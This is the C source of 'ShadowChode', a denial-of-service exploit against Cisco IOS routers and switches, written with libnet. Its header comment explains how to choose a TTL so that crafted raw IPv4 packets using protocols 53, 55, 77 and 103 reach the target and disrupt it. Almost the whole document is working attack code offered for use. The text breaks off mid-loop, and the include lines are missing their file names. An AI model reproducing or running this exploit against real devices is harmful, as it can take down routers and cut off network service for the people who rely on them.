* Version Complète shadowchode.tar + libnet.tar.gz *

/*
                              * ShadowChode - Cisco IOS IPv4 Packet Processing Denial of Service Exploit
                              *
                              * Ping target router/switch for TTL to host. Subtract that number from 255
                              * and use that TTL on the command line. The TTL must equal 0 or 1 when it
                              * reaches the target. The target must accept packets to the given target
                              * interface address and there are some other caveats.
                              *
                              * BROUGHT TO YOU BY THE LETTERS C AND D
                              *
                              * [L0cK]
                              */

                              #include 
                              #include 

                              #include "libnet.h"

                              #define MIN_PAYLOAD_LEN (26)

                              #define CLEANUP { \
                              libnet_destroy(lh); \
                              free(payload); \
                              }

                              int
                              main(int argc, char *argv[])
                              {
                              char errbuf[LIBNET_ERRBUF_SIZE];
                              libnet_t *lh;
                              u_long dst_addr;
                              int ttl;
                              int payload_len;
                              char *payload;
                              libnet_ptag_t data_tag;
                              libnet_ptag_t ip_tag;
                              int i;
                              int len;
                              int protocols[] = { 53, 55, 77, 103 };
                              struct libnet_stats ls;

                              lh = libnet_init(LIBNET_RAW4, NULL, errbuf);

                              if (lh == NULL) {
                              (void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
                              exit(-1);
                              }

                              if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1], LIBNET_RESOLVE) == -1)) {
                              (void) fprintf(stderr, "Usage: %s  \n", argv[0]);
                              libnet_destroy(lh);
                              exit(-1);
                              }

                              { /* OH WAIT, ROUTE'S RESOLVER DOESN'T WORK! */
                              struct in_addr dst;

                              if (!inet_aton(argv[1], &dst)) {
                              perror("inet_aton");
                              libnet_destroy(lh);
                              exit(-1);
                              }

                              dst_addr = dst.s_addr;
                              }

                              ttl = atoi(argv[2]);

                              libnet_seed_prand(lh);

                              len = libnet_get_prand(LIBNET_PR8);

                              /* Mmmmm, suck up random amount of memory! */

                              payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len;

                              payload = (char *) malloc(payload_len);

                              if (payload == NULL) {
                              perror("malloc");
                              libnet_destroy(lh);
                              exit(-1);
                              }

                              for (i = 0; i